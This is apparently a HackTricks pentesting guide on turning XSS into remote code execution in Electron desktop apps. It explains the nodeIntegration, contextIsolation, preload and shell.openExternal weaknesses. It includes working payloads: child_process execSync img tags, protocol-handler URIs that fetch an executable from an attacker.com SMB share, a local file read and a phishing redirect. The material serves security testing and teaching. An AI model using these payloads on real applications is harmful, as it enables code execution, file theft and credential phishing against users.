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343 lines
18 KiB
Markdown
343 lines
18 KiB
Markdown
# XSS to RCE Electron Desktop Apps
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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## Introduction
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Electron is **based on Chromium**, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.\
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You could see Electron like a local backend+frontend app where **NodeJS** is the **backend** and **chromium** is the **frontend**.
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Usually you might find the electron app code inside an `.asar` application, in order to obtain the code you need to extract it:
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```bash
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npx asar extract app.asar destfolder #Extract everything
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npx asar extract-file app.asar main.js #Extract just a file
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```
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In the source code of an Electron app, inside `packet.json`, you can find specified the `main.js` file where security configs ad set.
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```json
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{
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"name": "standard-notes",
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"main": "./app/index.js",
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```
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Electron has 2 process types:
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* Main Process (has complete access to NodeJS)
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* Renderer Process (should have NodeJS restricted access for security reasons)
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 (5) (1).png>)
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A **renderer process** will be a browser window loading a file:
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```javascript
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const {BrowserWindow} = require('electron');
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let win = new BrowserWindow();
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//Open Renderer Process
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win.loadURL(`file://path/to/index.html`);
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```
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Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
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The desktop application might have access to the user’s device through Node APIs. The following two configurations are responsible for providing mechanisms to **prevent the application JavaScript from having direct access to the user’s device** and system level commands.
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* **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
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* **`contextIsolation`** - is `on` by default. If on, main and renderer processes aren't isolated.
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* **`preload`** - empty by default.
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* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
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* Node Integration in Workers
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* **`nodeIntegrationInSubframes`**- is `off` by default.
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* If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
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* If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
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Example of configuration:
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```javascript
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const mainWindowOptions = {
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title: 'Discord',
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backgroundColor: getBackgroundColor(),
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width: DEFAULT_WIDTH,
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height: DEFAULT_HEIGHT,
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minWidth: MIN_WIDTH,
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minHeight: MIN_HEIGHT,
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transparent: false,
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frame: false,
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resizable: true,
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show: isVisible,
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webPreferences: {
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blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
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nodeIntegration: false,
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contextIsolation: false,
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sandbox: false,
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nodeIntegrationInSubFrames: false,
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preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
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nativeWindowOpen: true,
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enableRemoteModule: false,
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spellcheck: true
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}
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};
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```
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Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration\_rce.txt):
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```html
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Example Payloads (Windows):
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<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
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Example Payloads (Linux & MacOS):
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<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
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<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
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<img src=x onerror="alert(require('child_process').execSync('id').toString());">
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<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
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<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
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```
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### Capture traffic
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Modify the start-main configuration and add the use of a proxy such as:
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```javascript
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"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
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```
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## RCE: XSS + nodeIntegration
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If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
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```html
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<script>
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require('child_process').exec('calc');
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// or
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top.require('child_process').exec('open /System/Applications/Calculator.app');
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</script>
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```
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<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>
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## RCE: preload
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The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
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```javascript
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new BrowserWindow{
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webPreferences: {
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nodeIntegration: false,
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preload: _path2.default.join(__dirname, 'perload.js'),
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}
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});
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```
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Therefore, the script can export node-features to pages:
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{% code title="preload.js" %}
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```javascript
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typeof require === 'function';
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window.runCalc = function(){
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require('child_process').exec('calc')
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};
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```
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{% endcode %}
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{% code title="index.html" %}
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```html
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<body>
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<script>
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typeof require === 'undefined';
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runCalc();
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</script>
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</body>
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```
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{% endcode %}
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{% hint style="info" %}
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**If `contextIsolation` is on, this won't work**
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{% endhint %}
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## RCE: XSS + contextIsolation
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The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
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If the contexts aren't isolated an attacker can:
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1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
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2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
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3. **Trigger** the use of **overwritten function**
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4. RCE?
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There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
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{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
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[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
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{% endcontent-ref %}
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{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
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[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
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{% endcontent-ref %}
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{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
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[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
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{% endcontent-ref %}
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### Bypass click event
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If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click
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```javascript
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window.addEventListener('click', (e) => {
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```
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## RCE via shell.openExternal
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If the Electron desktop application is deployed with proper `nodeIntegration`, `contextIsolation` settings; it simply means that **client-side RCE by targeting preload scripts or Electron native code from the main process can not be achieved**.
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Each time a user clicks the link or opens a new window, the following event listeners are invoked:
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{% code overflow="wrap" %}
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```javascript
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webContents.on("new-window", function (event, url, disposition, options) {}
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webContents.on("will-navigate", function (event, url) {}
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```
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{% endcode %}
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The desktop application **overrides these listeners** to implement the desktop application’s own **business logic**. During the creation of new windows, the application checks whether the navigated link should be opened in a desktop application’s window or tab, or whether it should be opened in the web browser. In our example the verification is implemented with the function `openInternally`, if it returns `false`, the application will assume that the link should be opened in the web browser using the `shell.openExternal` function.
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**Here is a simplified pseudocode:**
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 (2) (1) (1).png>)
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.png>)
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Accordingly to Electron JS security best practices, the `openExternal` function **should not accept untrusted content** **because that could lead to RCE abusing different potocols** if the application does not limit users navigation through protocols such as https:// or http://.
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Different OS support different protocols that could trigger RCE, for more info about them check [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042) but here you have some Windows examples:
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```html
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<script>
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window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
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</script>
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<script>
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window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
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</script>
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<script>
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window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
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</script>
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```
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For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
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## Read Internal Files: XSS + contextIsolation
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If `contextIsolation` set to false you can try to use \<webview> (similar to \<iframe> but can load local files) to read local files and exfiltrate them: using something like **\<webview src=”file:///etc/passwd”>\</webview>:**
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Another way to **read an internal file** from this [**writeup**](https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app):
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```html
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<br><BR><BR><BR>
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<h1>pwn<br>
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<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
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<script type="text/javascript">
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function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
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</script>
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```
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## **RCE: XSS + Old Chromium**
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If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\
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You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
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## **XSS Phishing via Internal URL regex bypass**
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Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.
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First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:
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```javascript
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webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
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webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
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```
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The call to **`openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
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In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
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```html
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<script>
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window.open("<http://subdomainagoogleq.com/index.html>")
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</script>
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```
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## **Tools**
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* [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
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* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
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* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
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* [**Electro.ng**](https://electro.ng/): You need to buy it
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## Labs
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In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) you can find a lab to exploit vulnerable Electron apps.
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Some commands that will help you will the lab:
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```bash
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# Download apps from these URls
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# Vuln to nodeIntegration
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https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
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# Vuln to contextIsolation via preload script
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https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
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# Vuln to IPC Rce
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https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
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# Get inside the electron app and check for vulnerabilities
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npm audit
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# How to use electronegativity
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npm install @doyensec/electronegativity -g
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electronegativity -i vulnerable1
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# Run an application from source code
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npm install -g electron
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cd vulnerable1
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npm install
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npm start
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```
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## **References**
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* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
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* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
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* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
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* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
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* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
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* More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
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* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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